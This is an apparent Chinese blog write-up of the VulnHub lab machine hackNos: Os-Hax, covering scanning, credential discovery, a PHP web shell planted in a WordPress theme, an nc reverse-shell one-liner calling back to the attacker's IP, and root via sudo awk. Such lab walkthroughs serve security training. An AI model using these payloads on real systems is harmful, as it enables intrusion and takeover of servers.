靶机训练3:os-hax靶机
靶机训练3:os-hax靶机
vulnhub靶机练习-Os-Hax,详细使用 - 日月幽而复明 - 博客园 (cnblogs.com)
(104条消息) 靶机渗透日记 hackNos: Os-Hax_# .的博客-CSDN博客
【原创】靶机系列测试教程 Os-Hax | (moonsec.com)
(104条消息) oscp——hackNos: Os-Hax_Light9_的博客-CSDN博客
一,前期准备
-
靶机下载地址:hackNos: Os-Hax ~ VulnHub
-
练习内容
- 漏洞利用
- web安全
- 提权
-
目标
- boot-root
1.靶机下载后安装
- 可以采用virtualBox,但我本地遇到一个问题网络设置的问题,导致虚拟机无法启动
- 采用VMware 启动,但是也遇到一个voa版本问题,开放式虚拟化格式2.0不可用
- 突然有个想法,在virtualBox导出voa1.0版本,放到VMware启动,方法可行,但又进行主机探测时又无法发现虚拟机(老问题),靶机一有类似的情况
vulnhub靶机练习-Os-hackNos-1,超详细使用 (shuzhiduo.com)
- 千辛万苦后,终于成功启动了靶机
二,信息收集
1. 主机探测
nmap -sP 192.168.31.0/24
2. 端口扫描
nmap -sV -sC -A 192.168.31.20
- 开放了22 和 80端口
- 访问80端口
3. 目录扫描
gobuster dir -u http://192.168.31.20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/img (Status: 301)
/html (Status: 301)
/css (Status: 301)
/wordpress (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
- 打开 /wordpress
- 看不到图片,查看源码,发现样式免加载(ip是localhost),这个问题可以通过修改hosts文件解决
- 这一步可以不做(这是做了之后的效果)
- hosts文件
- 定义:hosts文件(域名解析文件)是将主机名映射到IP地址的一个纯文本文件
- 位置: /etc/hosts
-
重启网络服务
-
systemctl restart networking
-
-
但是笔者本地无法通过修改,暂时采用burpsuite 插件passive-scan-client 进行端口转发(ip映射)同样实现这个效果
- 发现一个登陆入口,但当前无法登录
- 查看img文件,发现一个flaghost.png文件
-
可以用exiftool处理图像
-
exiftool flaghost.png 看到一个密码:passw@45
-
- 在页面尝试登录后发现不行,它可能是个目录
- 拿到flag2.txt内容
i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]
>--.- --.<+ +++++ [->-- ----< ]>--- -.<++ +[->+ ++<]> +++++ .<+++ ++[->
+++++ <]>.+ +.+++ +++++ .---- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->---
----< ]>-.< +++[- >---< ]>--- .+.-- --.++ +.<
-
拿到账号密码
-
web:Hacker@4514
-
-
尝试进行登录
- 翻看目录,查找有用的信息,发现竟然是超级管理员
拿 shell
1. 方法1 - 修改主题,添加一句话木马,利用burpsuite 和 nc 获取反弹shell
-
修改主题,在主机的header模块,插入一句话木马后更新
-
system($_REQUEST['knife']);
-
-
访问主页,使得木马生效
-
http://localhost/wordpress/?knife=id http://192.168.31.20/wordpress/?knife=id
-
-
终端打开 瑞士军刀监听端口
-
nc -lvnp 9001
-
-
使用burpsuite,截取包,放到reqeater,并改包,使用post传参,来使用反弹shel
-
反弹shell命令:
-
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.31.239+9001+>/tmp/f # ip是 本机ip
-
-
如果没有编码则可以选中后 ctrl + u 进行编码(上述的已经编码)
- 拿到反弹shell
-
进入交互终端
-
python -c 'import pty;pty.spawn("/bin/bash")'
-
-
查看密码文件
-
cat /etc/passwd
-
-
查看数据库文件
-
登录web用户
-
Hacker@4514
-
拿shell 方式2
(108条消息) 靶机渗透日记 hackNos: Os-Hax_# .的博客-CSDN博客
使用MSF生成反弹shell
拿shell 方式3
命令执行,通过修改前端绕过长度限制
提权
提权方式1
-
sudo -l 发现awk命令
- 或者 查看cat /etc/sudoers文件,发现web是nopasswd,可以使用 awk
-
awk 命令也是逐行扫描文件(从第 1 行到最后一行),寻找含有目标文本的行,如果匹配成功,则会在该行上执行用户想要的操作;反之,则不对行做任何处理。
- awk 命令的基本格式为:
- awk [选项] '脚本命令' 文件名
- awk 命令的基本格式为:
-
直接使用 system函数执行后提权
-
sudo awk '{ system("/bin/bash")}';
-
- 进到 root的根目录下即可拿到flag
提权方式2
-
linux版本还存在一个提权漏洞
-
uname -a 查看linux版本
-
提权方式3
- 直接ssh登录连接 web用户
总结
- 在走投无路的时候,每一个可以访问的文件目录都要去进行一个访问
- 拿到的东西可能是一个目录
修复建议
- 升级Ubuntu版本
- 修改/etc/sudoers 文件
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现